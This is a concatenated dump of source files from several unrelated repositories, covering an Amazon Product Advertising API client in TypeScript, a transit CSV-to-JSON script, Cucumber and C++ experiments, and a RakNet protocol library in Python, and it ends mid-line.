stop name; # - BusStops: Number of stops from boarding to alighting # - BusVehDis: In-vehicle distance (in meters) # - BusVehTime: In-vehicle time (in seconds) # - BusAlight: Alighting stop name; # - BusEgsDis: Bus egress distance (in meters) # - BusEgsTime: Bus egress time (in seconds) # - BusAlt: if there are alternative bus routes, continues to write from "BusDis"; otherwise, ends with "#" # import packages import googlemaps import csv from datetime import datetime, timedelta import json # open .csv files: add_pop_path_GG_test.csv in 'read' mode f = open('add_pop_path_GG_test.csv', 'rb'); # open .json files: add_pop_path_GG_test.json in 'write' mode w = open('add_pop_path_GG_test.json', 'wb') # skip the header reader = csv.reader(f); row = next(reader, None); # build json array = []; for row in reader: object = {}; object["Address"] = {"ID": row[0][5:], "Address": row[3], "LocationID": row[4], "Coordinates": {"Longitude": row[5], "Latitude": row[6]}, "Population": row[10]}; object["Address"]["Point"] = {"Coordinates": {"Longitude": row[1], "Latitude": row[2]}}; object["Address"]["Zone"] = {"Name": row[7], "Population": row[8], "AddsInZone": row[9]}; object["Paths"] = {"Walking": {"Distance": row[11], "Time": row[12]}, "Driving": {"Distance": row[13], "Time": row[14]}}; pt = 15; object["Paths"]["Transit"] = []; while (row[pt] != "#"): object["Paths"]["Transit"].append( {"Route": row[pt + 4], "Distance": row[pt], "Time": row[pt + 1], "Access": {"Distance": row[pt + 2], "Time": row[pt + 3]}, "Bus": {"Boarding": row[pt + 5], "Stops": row[pt + 6], "Distance": row[pt + 7], "Time": row[pt + 8], "Alighting": row[pt + 9]}, "Egress": {"Distance": row[pt + 10], "Time": row[pt + 11]}}); pt += 12; array.append(object); json.dump(array, w, indent=4, sort_keys=True); # close the files f.close(); w.close();
ca4ae28836a3a99ec338a6fcd63e7e84cd07f6c6
[ "Python" ]
10
Python
wenjian0202/amod-demand
a344524b4aac63b321bff82978a738f3b858116b
475f486abc1de4f4e64585ca1c3ff468a655cf33
refs/heads/master
<file_sep>export interface IKey { accessKeyId: string secretAccessKey: string associateTag: string } export interface IProduct { asin?: string brand?: string category?: string color?: string description?: string featureBullets?: string[] name?: string height?: number image?: string images?: any imageUrl?: string length?: number nSellers?: number parentAsin?: string price?: number rank?: number variants?: any weight?: number width?: number } export interface IProductMap { [asin: string]: IProduct } export interface IInventory { inventory?: number }<file_sep>import * as ItemLookup from '../src/item-lookup' import * as assert from 'assert' import * as fs from 'fs' const FIXTURE_PATH = __dirname + '/fixtures/item-lookup' function readJSON(path) { return JSON.parse( fs.readFileSync(path, 'utf-8') ) } function makeTest(dir) { const path = FIXTURE_PATH + '/' + dir + '/' const raw = readJSON(path + 'raw.json') const expected = readJSON(path + 'parsed.json') const actual = ItemLookup.parse(raw) test(dir, () => { assert.deepEqual(actual, expected) }) } suite('item-lookup', () => { fs.readdirSync(FIXTURE_PATH).forEach(makeTest) })<file_sep>import { IProduct } from './types'; export declare function parse(item: any, isVariant?: boolean): IProduct; <file_sep># Amazon Product API Typescript interface to Amazon product advertising api. ## Usage > npm install @mcrowe/amazon-product-api --save ```js import * as Amazon from '@mcrowe/amazon-product-api' const key = { accessKeyId: '...', secretAccessKey: '...', associateTag: '...', locale: '...' } const result = await Amazon.getProduct(key, 'us', 'B01A...') if (result.ok) { // result.data is the product data (see types.ts for structure) } else { // result.error is a string error code (see "Results" below) } // Or, use the bulk api ... const result = await Amazon.bulkGetProducts(key, 'us', ['B01A...', ...]) if (result.ok) { // result.data is a map from asin to product data } // For inventory const result = await Amazon.getInventory(key, 'us', 'B01A...') if (result.ok) { // result.data returns inventory data (see types.ts for structure) } else { // result.error is a string error code (see "Results" below) } ``` ## Results Lots of things can go wrong when talking to the product api. This library is pessimistic and *assumes* something will go wrong. Requests return a result object which may represent success or failure. Errors are only thrown in cases that are trully exceptions (unexpected and unknown failure cases). This *should* never happen. Here are a list of the known error codes that could occur: - `fetch_error`: There was a fetch error on the client end when trying to get data from AWS. - `parse_error`: The response from Amazon had an unexpected format and we choked when trying to parse it. - `invalid_associate`: The amazon associate associated with the given key was not allowed to make this request - `invalid_key`: The provided api key was not valid. - `aws_server_error`: AWS had an internal server error. - `aws_throttle`: Too many requests have been made on this key recently. - `cart_error`: There was an error parsing the cart information from amazon. - `unavailable_via_api`: The asin is unavailable via the product advertising api. ## Development Install npm modules: > npm install Run tests: > npm test ## Release Release a new version: > bin/release.sh This will publish a new version to npm, as well as push a new tag up to github. ## TODO - Proper variant parsing - Proper image parsing?<file_sep>"use strict"; var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; Object.defineProperty(exports, "__esModule", { value: true }); const ItemLookup = require("./item-lookup"); const Cart = require("./cart"); const result_1 = require("@mcrowe/result"); const apac = require("apac"); const RESPONSE_GROUP = 'Large,Variations'; function getProduct(key, country, asin) { return __awaiter(this, void 0, void 0, function* () { const res = yield bulkGetProducts(key, country, [asin]); if (res.ok) { return result_1.Result.OK(res.data[asin]); } else { return res; } }); } exports.getProduct = getProduct; function getInventory(key, country, asin) { return __awaiter(this, void 0, void 0, function* () { try { const data = yield cartCreate(key, country, asin); yield cartClear(key, country, data); return Cart.parse(data); } catch (e) { return result_1.Result.Error('fetch_error'); } }); } exports.getInventory = getInventory; function bulkGetProducts(key, country, asins) { return __awaiter(this, void 0, void 0, function* () { try { const data = yield itemLookup(key, country, asins); return ItemLookup.parse(data); } catch (e) { return result_1.Result.Error('fetch_error'); } }); } exports.bulkGetProducts = bulkGetProducts; function itemLookup(key, country, asins) { return __awaiter(this, void 0, void 0, function* () { const options = { awsId: key.accessKeyId, awsSecret: key.secretAccessKey, assocId: key.associateTag, locale: country.toUpperCase() }; const response = yield new apac.OperationHelper(options).execute('ItemLookup', { ItemId: asins.join(','), ItemType: 'ASIN', ResponseGroup: RESPONSE_GROUP }); return response.result; }); } function cartCreate(key, country, asin) { return __awaiter(this, void 0, void 0, function* () { const options = { awsId: key.accessKeyId, awsSecret: key.secretAccessKey, assocId: key.associateTag, locale: country.toUpperCase() }; const response = yield new apac.OperationHelper(options).execute('CartCreate', { 'Item.1.ASIN': asin, 'Item.1.Quantity': 999, }); return response.result; }); } function cartClear(key, country, data) { return __awaiter(this, void 0, void 0, function* () { const options = { awsId: key.accessKeyId, awsSecret: key.secretAccessKey, assocId: key.associateTag, locale: country.toUpperCase() }; const response = yield new apac.OperationHelper(options).execute('CartClear', { 'CartId': data.CartId, 'HMAC': data.HMAC }); return response.result; }); } <file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const Item = require("./item"); const result_1 = require("@mcrowe/result"); function parse(data) { try { if (isError(data)) { const msg = parseError(data.ItemLookupErrorResponse).code; const error = normalizeAmazonError(msg); return result_1.Result.Error(error); } else if (isRequestError(data)) { const msg = parseError(data.ItemLookupResponse.Items.Request.Errors).code; const error = normalizeAmazonError(msg); return result_1.Result.Error(error); } const items = getItems(data); const map = {}; for (let item of items) { const product = Item.parse(item); if (product.asin) { map[product.asin] = product; } } return result_1.Result.OK(map); } catch (e) { console.error('parse_error ' + e); return result_1.Result.Error('parse_error'); } } exports.parse = parse; function isError(data) { return data.ItemLookupErrorResponse; } function isRequestError(data) { return data.ItemLookupResponse.Items ? data.ItemLookupResponse.Items.Request.Errors : false; } function getItems(data) { const items = data.ItemLookupResponse.Items.Item; if (Array.isArray(items)) { return items; } else { return [items]; } } function parseError(data) { const error = data.Error; return { code: error.Code, message: error.Message }; } function normalizeAmazonError(msg) { switch (msg) { case 'AWS.InvalidAssociate': return 'invalid_associate'; case 'InvalidClientTokenId': case 'SignatureDoesNotMatch': return 'invalid_key'; case 'RequestThrottled': return 'aws_throttle'; case 'AWS.InvalidParameterValue': return 'unavailable_via_api'; case 'AWS.InternalError': return 'aws_server_error'; default: throw new Error('Unexpected amazon error: ' + msg); } } <file_sep>import * as Item from '../src/item' import * as assert from 'assert' import * as fs from 'fs' const FIXTURE_PATH = __dirname + '/fixtures/item' function readJSON(path) { return JSON.parse( fs.readFileSync(path, 'utf-8') ) } function makeTest(dir) { const path = FIXTURE_PATH + '/' + dir + '/' const raw = readJSON(path + 'raw.json') const expected = readJSON(path + 'parsed.json') const actual = Item.parse(raw) test(dir, () => { assert.deepEqual(actual, expected) }) } suite('item', () => { fs.readdirSync(FIXTURE_PATH).forEach(makeTest) })<file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const object_path_1 = require("object-path"); function parse(item, isVariant = false) { const attr = item.ItemAttributes || {}; const dims = attr.PackageDimensions || {}; const asin = item.ASIN; const imageUrl = parseImageUrl(item); const product = { asin, brand: attr.Brand, category: parseCategory(item), color: attr.Color, description: parseDescription(item), featureBullets: attr.Feature, name: attr.Title, height: parseDimension(dims, 'Height'), images: parseImages(item), imageUrl, length: parseDimension(dims, 'Length'), nSellers: parseNSellers(item), parentAsin: item.ParentASIN, price: parsePrice(item, isVariant), rank: parseNumber(item.SalesRank), variants: parseVariants(item), weight: parseDimension(dims, 'Weight'), width: parseDimension(dims, 'Width') }; if (isVariant) { product.image = getVariantImage(asin, imageUrl); } // NOTE: We remove any undefined fields in order to make // test fixtures easier to work with. clean(product); return product; } exports.parse = parse; /** * Remove any keys with undefined values from an object. */ function clean(obj) { for (let k in obj) { if (typeof obj[k] == 'undefined') { delete obj[k]; } } } function parseNSellers(item) { return parseNumber(object_path_1.get(item, ['OfferSummary', 'TotalNew'])); } function parseDescription(item) { const reviews = object_path_1.get(item, ['EditorialReviews', 'EditorialReview']) || []; const review = firstChild(reviews); if (review) { return review.Content; } } function parseNumber(str) { const x = parseFloat(str); if (Number.isNaN(x)) { return; } else { return x; } } function parseImageUrl(item) { const image = item.SmallImage; if (image) { return image.URL; } } function parseDimension(dims, key) { const val = xmlValue(dims, key); if (typeof val === 'string') { const num = parseNumber(val); if (typeof num != 'undefined') { return num / 100; } } } function xmlValue(obj, key) { return obj[key] && obj[key]['_']; } function parseImages(item) { const images = object_path_1.get(item, ['ImageSets', 'ImageSet']); return ensureArray(images); } function parseCategory(item) { let nodes = ensureArray(object_path_1.get(item, ['BrowseNodes', 'BrowseNode'])) || []; for (let node of nodes) { while (node.Ancestors) { if (node.IsCategoryRoot == '1') { const name = node.Ancestors.BrowseNode.Name; if (name) { return name; } } node = node.Ancestors.BrowseNode; } } } function parsePrice(item, isVariant) { const listPrice = object_path_1.get(item, ['ItemAttributes', 'ListPrice', 'Amount']); const totalOffers = object_path_1.get(item, ['Offers', 'TotalOffers']); const offer = firstChild(object_path_1.get(item, ['Offers', 'Offer'])); const salePrice = object_path_1.get(offer, ['OfferListing', 'SalePrice', 'Amount']); const offerPrice = object_path_1.get(offer, ['OfferListing', 'Price', 'Amount']); let price; if (isVariant) { // NOTE: Variants never indicate Total Offers price = (salePrice || offerPrice) ? (salePrice || offerPrice) : listPrice; } else { price = (+totalOffers > 0 && (salePrice || offerPrice)) ? (salePrice || offerPrice) : listPrice; } const num = parseNumber(price); if (num) { return num / 100; } } function firstChild(x) { if (Array.isArray(x)) { return x[0]; } else { return x; } } function ensureArray(x) { if (typeof x == 'undefined' || Array.isArray(x)) { return x; } else { return [x]; } } function parseVariants(item) { const items = object_path_1.get(item, ['Variations', 'Item']); if (items) { return items.map(item => parse(item, true)); } } function getVariantImage(asin, imageUrl) { if (imageUrl) { return imageUrl.replace('_SL75_', '_SL150_').replace('http://ecx.images-amazon.com', 'https://images-na.ssl-images-amazon.com'); } else { return `http://images.amazon.com/images/P/${asin}.01.ZTZZZZZZ.jpg`; } } <file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const result_1 = require("@mcrowe/result"); function parse(data) { try { if (isError(data)) { const msg = parseError(data.CartCreateErrorResponse).code; const error = normalizeAmazonError(msg); return result_1.Result.Error(error); } const cart = getCart(data); if (!cart.CartItems && isCartError(cart)) { const msg = parseError(cart.Request.Errors).code; const error = normalizeAmazonError(msg); return result_1.Result.Error(error); } const inventory = getInventory(cart); return result_1.Result.OK({ inventory }); } catch (e) { console.error('parse_error ' + e); return result_1.Result.Error('parse_error'); } } exports.parse = parse; function isError(data) { return data.CartCreateErrorResponse; } function isCartError(data) { return data.Request.Errors; } function getCart(data) { return data.CartCreateResponse.Cart; } function getInventory(cart) { const q = cart.CartItems.CartItem.Quantity; return q && parseInt(q); } function parseError(data) { const error = data.Error; return { code: error.Code, message: error.Message }; } function normalizeAmazonError(msg) { switch (msg) { case 'AWS.InvalidAssociate': return 'invalid_associate'; case 'InvalidClientTokenId': case 'SignatureDoesNotMatch': return 'invalid_key'; case 'RequestThrottled': return 'aws_throttle'; case 'AWS.ECommerceService.CartInfoMismatch': return 'cart_error'; case 'AWS.ECommerceService.ItemNotEligibleForCart': return 'unavailable'; case 'AWS.ECommerceService.ItemNotAccessible': return 'unavailable_via_api'; case 'AWS.InternalError': return 'aws_server_error'; default: throw new Error('Unexpected amazon error: ' + msg); } } <file_sep>import * as ItemLookup from './item-lookup' import * as Cart from './cart' import { IKey, IProduct, IProductMap, IInventory } from './types' import { Result, IResult } from '@mcrowe/result' import * as apac from 'apac' export { IKey, IProduct, IInventory, IProductMap } from './types' const RESPONSE_GROUP = 'Large,Variations' export async function getProduct(key: IKey, country: string, asin: string): Promise<IResult<IProduct>> { const res = await bulkGetProducts(key, country, [asin]) if (res.ok) { return Result.OK(res.data[asin]) } else { return res } } export async function getInventory(key: IKey, country: string, asin: string): Promise<IResult<IInventory>> { try { const data = await cartCreate(key, country, asin) await cartClear(key, country, data) return Cart.parse(data) } catch (e) { return Result.Error('fetch_error') } } export async function bulkGetProducts(key: IKey, country: string, asins: string[]): Promise<IResult<IProductMap>> { try { const data = await itemLookup(key, country, asins) return ItemLookup.parse(data) } catch (e) { return Result.Error('fetch_error') } } async function itemLookup(key: IKey, country: string, asins: string[]) { const options = { awsId: key.accessKeyId, awsSecret: key.secretAccessKey, assocId: key.associateTag, locale: country.toUpperCase() } const response = await new apac.OperationHelper(options).execute('ItemLookup', { ItemId: asins.join(','), ItemType: 'ASIN', ResponseGroup: RESPONSE_GROUP }) return response.result } async function cartCreate(key: IKey, country: string, asin: string) { const options = { awsId: key.accessKeyId, awsSecret: key.secretAccessKey, assocId: key.associateTag, locale: country.toUpperCase() } const response = await new apac.OperationHelper(options).execute('CartCreate', { 'Item.1.ASIN': asin, 'Item.1.Quantity': 999, }) return response.result } async function cartClear(key: IKey, country: string, data) { const options = { awsId: key.accessKeyId, awsSecret: key.secretAccessKey, assocId: key.associateTag, locale: country.toUpperCase() } const response = await new apac.OperationHelper(options).execute('CartClear', { 'CartId': data.CartId, 'HMAC': data.HMAC }) return response.result }<file_sep>import { IProductMap } from './types'; import { IResult } from '@mcrowe/result'; export declare function parse(data: any): IResult<IProductMap>; <file_sep>import * as Item from './item' import { IProductMap } from './types' import { Result, IResult } from '@mcrowe/result' export function parse(data): IResult<IProductMap> { try { if (isError(data)) { const msg = parseError(data.ItemLookupErrorResponse).code const error = normalizeAmazonError(msg) return Result.Error(error) } else if (isRequestError(data)) { const msg = parseError(data.ItemLookupResponse.Items.Request.Errors).code const error = normalizeAmazonError(msg) return Result.Error(error) } const items = getItems(data) const map = {} for (let item of items) { const product = Item.parse(item) if (product.asin) { map[product.asin] = product } } return Result.OK(map) } catch (e) { console.error('parse_error ' + e) return Result.Error('parse_error') } } function isError(data) { return data.ItemLookupErrorResponse } function isRequestError(data) { return data.ItemLookupResponse.Items ? data.ItemLookupResponse.Items.Request.Errors : false } function getItems(data) { const items = data.ItemLookupResponse.Items.Item if (Array.isArray(items)) { return items } else { return [items] } } function parseError(data) { const error = data.Error return { code: error.Code, message: error.Message } } function normalizeAmazonError(msg: string): string { switch (msg) { case 'AWS.InvalidAssociate': return 'invalid_associate' case 'InvalidClientTokenId': case 'SignatureDoesNotMatch': return 'invalid_key' case 'RequestThrottled': return 'aws_throttle' case 'AWS.InvalidParameterValue': return 'unavailable_via_api' case 'AWS.InternalError': return 'aws_server_error' default: throw new Error('Unexpected amazon error: ' + msg) } }<file_sep>import { IInventory } from './types' import { Result, IResult } from '@mcrowe/result' export function parse(data): IResult<IInventory> { try { if (isError(data)) { const msg = parseError(data.CartCreateErrorResponse).code const error = normalizeAmazonError(msg) return Result.Error(error) } const cart = getCart(data) if (!cart.CartItems && isCartError(cart)) { const msg = parseError(cart.Request.Errors).code const error = normalizeAmazonError(msg) return Result.Error(error) } const inventory = getInventory(cart) return Result.OK({ inventory }) } catch (e) { console.error('parse_error ' + e) return Result.Error('parse_error') } } function isError(data) { return data.CartCreateErrorResponse } function isCartError(data) { return data.Request.Errors } function getCart(data) { return data.CartCreateResponse.Cart } function getInventory(cart) { const q = cart.CartItems.CartItem.Quantity return q && parseInt(q) } function parseError(data) { const error = data.Error return { code: error.Code, message: error.Message } } function normalizeAmazonError(msg: string): string { switch (msg) { case 'AWS.InvalidAssociate': return 'invalid_associate' case 'InvalidClientTokenId': case 'SignatureDoesNotMatch': return 'invalid_key' case 'RequestThrottled': return 'aws_throttle' case 'AWS.ECommerceService.CartInfoMismatch': return 'cart_error' case 'AWS.ECommerceService.ItemNotEligibleForCart': return 'unavailable' case 'AWS.ECommerceService.ItemNotAccessible': return 'unavailable_via_api' case 'AWS.InternalError': return 'aws_server_error' default: throw new Error('Unexpected amazon error: ' + msg) } }<file_sep>import { IKey, IProduct, IProductMap, IInventory } from './types'; import { IResult } from '@mcrowe/result'; export { IKey, IProduct, IInventory, IProductMap } from './types'; export declare function getProduct(key: IKey, country: string, asin: string): Promise<IResult<IProduct>>; export declare function getInventory(key: IKey, country: string, asin: string): Promise<IResult<IInventory>>; export declare function bulkGetProducts(key: IKey, country: string, asins: string[]): Promise<IResult<IProductMap>>; <file_sep>import { IProduct } from './types' import { get } from 'object-path' export function parse(item, isVariant: boolean = false): IProduct { const attr = item.ItemAttributes || {} const dims = attr.PackageDimensions || {} const asin = item.ASIN const imageUrl = parseImageUrl(item) const product: IProduct = { asin, brand: attr.Brand, category: parseCategory(item), color: attr.Color, description: parseDescription(item), featureBullets: attr.Feature, name: attr.Title, height: parseDimension(dims, 'Height'), images: parseImages(item), imageUrl, length: parseDimension(dims, 'Length'), nSellers: parseNSellers(item), parentAsin: item.ParentASIN, price: parsePrice(item, isVariant), rank: parseNumber(item.SalesRank), variants: parseVariants(item), weight: parseDimension(dims, 'Weight'), width: parseDimension(dims, 'Width') } if (isVariant) { product.image = getVariantImage(asin, imageUrl) } // NOTE: We remove any undefined fields in order to make // test fixtures easier to work with. clean(product) return product } /** * Remove any keys with undefined values from an object. */ function clean(obj: object) { for (let k in obj) { if (typeof obj[k] == 'undefined') { delete obj[k] } } } function parseNSellers(item) { return parseNumber(get(item, ['OfferSummary', 'TotalNew'])) } function parseDescription(item): string | undefined { const reviews = get(item, ['EditorialReviews', 'EditorialReview']) || [] const review = firstChild(reviews) if (review) { return review.Content } } function parseNumber(str: string): number | undefined { const x = parseFloat(str) if (Number.isNaN(x)) { return } else { return x } } function parseImageUrl(item): string | undefined { const image = item.SmallImage if (image) { return image.URL } } function parseDimension(dims, key: string): number | undefined { const val = xmlValue(dims, key) if (typeof val === 'string') { const num = parseNumber(val) if (typeof num != 'undefined') { return num / 100 } } } function xmlValue(obj, key): string | undefined { return obj[key] && obj[key]['_'] } function parseImages(item) { const images = get(item, ['ImageSets', 'ImageSet']) return ensureArray(images) } function parseCategory(item): string | undefined { let nodes = ensureArray( get(item, ['BrowseNodes', 'BrowseNode']) ) || [] for (let node of nodes) { while (node.Ancestors) { if (node.IsCategoryRoot == '1') { const name = node.Ancestors.BrowseNode.Name if (name) { return name } } node = node.Ancestors.BrowseNode } } } function parsePrice(item, isVariant: boolean): number | undefined { const listPrice = get(item, ['ItemAttributes', 'ListPrice', 'Amount']) const totalOffers = get(item, ['Offers', 'TotalOffers']) const offer = firstChild( get(item, ['Offers', 'Offer']) ) const salePrice = get(offer, ['OfferListing', 'SalePrice', 'Amount']) const offerPrice = get(offer, ['OfferListing', 'Price', 'Amount']) let price if (isVariant) { // NOTE: Variants never indicate Total Offers price = (salePrice || offerPrice) ? (salePrice || offerPrice) : listPrice } else { price = (+totalOffers > 0 && (salePrice || offerPrice)) ? (salePrice || offerPrice) : listPrice } const num = parseNumber(price) if (num) { return num / 100 } } function firstChild(x) { if (Array.isArray(x)) { return x[0] } else { return x } } function ensureArray(x) { if (typeof x == 'undefined' || Array.isArray(x)) { return x } else { return [x] } } function parseVariants(item) { const items = get(item, ['Variations', 'Item']) if (items) { return items.map(item => parse(item, true)) } } function getVariantImage(asin: string, imageUrl: string | undefined): string { if (imageUrl) { return imageUrl.replace('_SL75_', '_SL150_').replace('http://ecx.images-amazon.com', 'https://images-na.ssl-images-amazon.com') } else { return `http://images.amazon.com/images/P/${asin}.01.ZTZZZZZZ.jpg` } }<file_sep>export interface IKey { accessKeyId: string; secretAccessKey: string; associateTag: string; } export interface IProduct { asin?: string; brand?: string; category?: string; color?: string; description?: string; featureBullets?: string[]; name?: string; height?: number; image?: string; images?: any; imageUrl?: string; length?: number; nSellers?: number; parentAsin?: string; price?: number; rank?: number; variants?: any; weight?: number; width?: number; } export interface IProductMap { [asin: string]: IProduct; } export interface IInventory { inventory?: number; }
605fa2cfc7f1f8c4a66b60f1a1a83b43c95c8291
[ "Markdown", "TypeScript", "JavaScript" ]
16
TypeScript
mcrowe/amazon-product-api
4d0a4b6af2c96c0f9342f9de1eedb5b2f73bbf56
8ae95f2a5e17a182a699c457e937aa1c085d5874
refs/heads/master
<repo_name>perekskog/playground<file_sep>/Cucumber/src/test/java/se/perekskog/common/TestServer.java package se.perekskog.common; public class TestServer { }<file_sep>/Cucumber/src/main/java/se/perekskog/Calculator.java package se.perekskog; public class Calculator { public Calculator() { state = 0; System.out.println("===calc=== init calculator"); } public void add(int i) { state = state + i; System.out.println("===calc=== add " + i); } public int state() { System.out.println("===calc=== return state = " + state); return state; } private int state; }<file_sep>/Cucumber/pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>TestGroup</groupId> <artifactId>TestArtifact</artifactId> <version>0.0.1-SNAPSHOT</version> <properties> <maven.compiler.source>1.7</maven.compiler.source> <maven.compiler.target>1.7</maven.compiler.target> </properties> <repositories> <repository> <id>my-local-repo</id> <url>./lib</url> </repository> </repositories> <dependencies> <dependency> <groupId>info.cukes</groupId> <artifactId>cucumber-junit</artifactId> <version>1.2.5</version> <scope>test</scope> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>test</scope> </dependency> <dependency> <groupId>info.cukes</groupId> <artifactId>cucumber-java</artifactId> <version>1.2.5</version> <scope>test</scope> </dependency> <dependency> <groupId>local</groupId> <artifactId>local</artifactId> <version>1.0.2</version> <scope>system</scope> <systemPath>${project.basedir}/lib/db2jcc.jar</systemPath> </dependency> <dependency> <groupId>jsch</groupId> <artifactId>jsch</artifactId> <version>0.1.5</version> </dependency> <dependency> <groupId>info.cukes</groupId> <artifactId>cucumber-picocontainer</artifactId> <version>1.2.5</version> <scope>test</scope> </dependency> </dependencies> </project> <file_sep>/README.md # playground This is my playground for experimenting with various things. ##FlattenFileStructure _Python3_ Collect files from a hierarchy of files and put them in a flat structure. ##HttpPostJson _iOS app_ How to transfer data to a web server in the form of multiple JSON documents, formatted as a multipart request. ##WebMedia _Javascript_ Exploring media playback and control, from a web page. <file_sep>/Cucumber/src/test/java/se/perekskog/featureone/stepDefinition.java package se.perekskog.featureone; import cucumber.api.java.en.Given; import cucumber.api.java.en.Then; import se.perekskog.Calculator; import cucumber.api.PendingException; public class stepDefinition { private Calculator calculator; public stepDefinition(Calculator calculator) { this.calculator = calculator; } @Given("^Load Readme$") public void load_Readme() throws Throwable { System.out.println("===1===load_Readme"); System.out.println("===1===state = " + calculator.state()); // Write code here that turns the phrase above into concrete actions //throw new PendingException(); } }<file_sep>/cpptemplates/t1.cpp #include<iostream> template<class T> class Num { public: T _x; Num(T x): _x(x) {}; operator T() { return _x; }; }; template<class T> T f(T a) { return(a+1); }; template<class T> Num<T> f(Num<T> a) { return(a+2); }; int f(int a) { return(a+4); }; int main(int argc, char*argv[]) { std::cout << f(Num<int>(1)) << std::endl; std::cout << f(1) << std::endl; }<file_sep>/cpptemplates/t2.cpp #include<iostream> template<class T> const T& pe_max(const T& a, const T& b) { return a>=b ? a : b; }; char pe_max(char a, int b) { return pe_max<char>(a, b); } int main(int argc, char*argv[]) { using namespace std; cout << pe_max(1,2) << endl; cout << pe_max<char>('a', 2) << endl; cout << pe_max('b', 'a') << endl; }<file_sep>/FlattenFileStructure/compact.py """Make a list of pathnames Usage: python3 compact.py db list db is a list of pathnames, for example, created by >find top-of-filetree > db list is a list of filenames, for example, created by >ls > list compact will match names in "list" with the basemane of paths in "db". """ import sys import os def read_db(dbname): with open(dbname, mode="rt", encoding="utf-8") as f: return {os.path.basename(line.strip()).lower(): line.strip() for line in f} def get_files(filelist): with open(filelist, mode="rt", encoding="utf-8") as f: return [line.strip() for line in f] def map_files(db, basenames): return [ db[file.lower()] for file in basenames ] def main(dbname, filelist): db = read_db(dbname) files = get_files(filelist) filepaths = map_files(db, files) #print(files) for file in filepaths: print(file) if __name__ == "__main__": main(sys.argv[1], sys.argv[2])
f86eee65299d0e15264d396c45cd1bbe8468ddc8
[ "Markdown", "Maven POM", "Java", "Python", "C++" ]
8
Java
perekskog/playground
481db9c8e6a9f3e1d1f58ab19c2c61b054101a74
6ce7684434f53a7297c151accba28a647b84991a
refs/heads/master
<repo_name>gitter-badger/rakpy<file_sep>/tests/test_packets.py # -*- coding: utf-8 -*- import pytest from rakpy.protocol import decode_packet from rakpy.protocol.packets import Packet, UnconnectedPing def test_packet_id(): class DummyPacket(Packet): class Meta: id = 0x42 structure = () packet = DummyPacket() # setter with pytest.raises(AttributeError): packet.id = 0xff # getter assert packet.id == 0x42 def test_unconnected_ping(): # invalid packet id with pytest.raises(ValueError): UnconnectedPing("\x42\x00\x00\x00\x00") data = "\x01\x00\x00\x00\x00\x00\x02\xf3\x47\x00\xff\xff\x00\xfe\xfe\xfe\xfe\xfd\xfd\xfd\xfd\x12\x34\x56\x78\x00\x05\x27\x00\xaa\x0a\x23\xa3" packet = UnconnectedPing(data) assert packet.ping_id == 193351 assert packet.client_id == 1450258689827747 assert unicode(packet) == "UnconnectedPing(ping_id=193351, client_id=1450258689827747)" def test_decode_packet(): data = "\x01\x00\x00\x00\x00\x00\x02\xf3\x47\x00\xff\xff\x00\xfe\xfe\xfe\xfe\xfd\xfd\xfd\xfd\x12\x34\x56\x78\x00\x05\x27\x00\xaa\x0a\x23\xa3" packet = decode_packet(data) assert packet.id == 0x01 assert type(packet) == UnconnectedPing <file_sep>/rakpy/protocol/fields.py # -*- coding: utf-8 -*- from struct import pack, unpack class Field(object): LENGTH = None def contribute_to_class(self, cls, name): cls._meta.add_field(self, name) @classmethod def guess_length(cls, data): return cls.LENGTH @classmethod def decode(cls, data): raise NotImplementedError() @classmethod def encode(cls, value): raise NotImplementedError() class NumericField(Field): LENGTH = None PACK_FORMAT = None @classmethod def get_min_value(cls): raise NotImplementedError() @classmethod def get_max_value(cls): raise NotImplementedError() @classmethod def decode(cls, data): return unpack(cls.PACK_FORMAT, data)[0] @classmethod def encode(cls, value): if value < cls.get_min_value() or value > cls.get_max_value(): raise OverflowError() return pack(cls.PACK_FORMAT, value) class SignedNumericField(NumericField): @classmethod def get_min_value(cls): return -pow(2, 8 * cls.LENGTH - 1) + 1 @classmethod def get_max_value(cls): return pow(2, 8 * cls.LENGTH - 1) - 1 class UnsignedNumericField(NumericField): @classmethod def get_min_value(cls): return 0 @classmethod def get_max_value(cls): return pow(2, 8 * cls.LENGTH) - 1 class ByteField(SignedNumericField): LENGTH = 1 PACK_FORMAT = "!b" class UnsignedByteField(UnsignedNumericField): LENGTH = 1 PACK_FORMAT = "!B" @classmethod def get_min_value(cls): return 0 @classmethod def get_max_value(cls): return pow(2, 8 * cls.LENGTH) - 1 class UnsignedShortField(UnsignedByteField): LENGTH = 2 PACK_FORMAT = "!H" class IntField(SignedNumericField): LENGTH = 4 PACK_FORMAT = "!i" class LongLongField(SignedNumericField): LENGTH = 8 PACK_FORMAT = "!q" class FloatField(NumericField): LENGTH = 4 PACK_FORMAT = "!f" @classmethod def get_min_value(cls): return float("-inf") # OverflowError will be raised at runtime @classmethod def get_max_value(cls): return float("inf") # OverflowError will be raised at runtime @classmethod def encode(cls, value): return super(FloatField, cls).encode(float(value)) @classmethod def decode(cls, data): return float(super(FloatField, cls).decode(data)) class DoubleField(FloatField): LENGTH = 8 PACK_FORMAT = "!d" class BoolField(Field): LENGTH = 1 @classmethod def decode(cls, data): return bool(ByteField.decode(data)) @classmethod def encode(cls, value): return ByteField.encode(bool(value)) class StringField(Field): LENGTH_FIELD = UnsignedShortField @classmethod def guess_length(cls, data): # encoded data length + actual data return cls.LENGTH_FIELD.LENGTH + cls.LENGTH_FIELD.decode(data[:cls.LENGTH_FIELD.LENGTH]) @classmethod def decode(cls, data): return data[cls.LENGTH_FIELD.LENGTH:].decode("utf-8") @classmethod def encode(cls, value): value = value.encode("utf-8") return cls.LENGTH_FIELD.encode(len(value)) + value <file_sep>/rakpy/protocol/const.py # -*- coding: utf-8 -*- MAGIC = bytearray.fromhex("00 ff ff 00 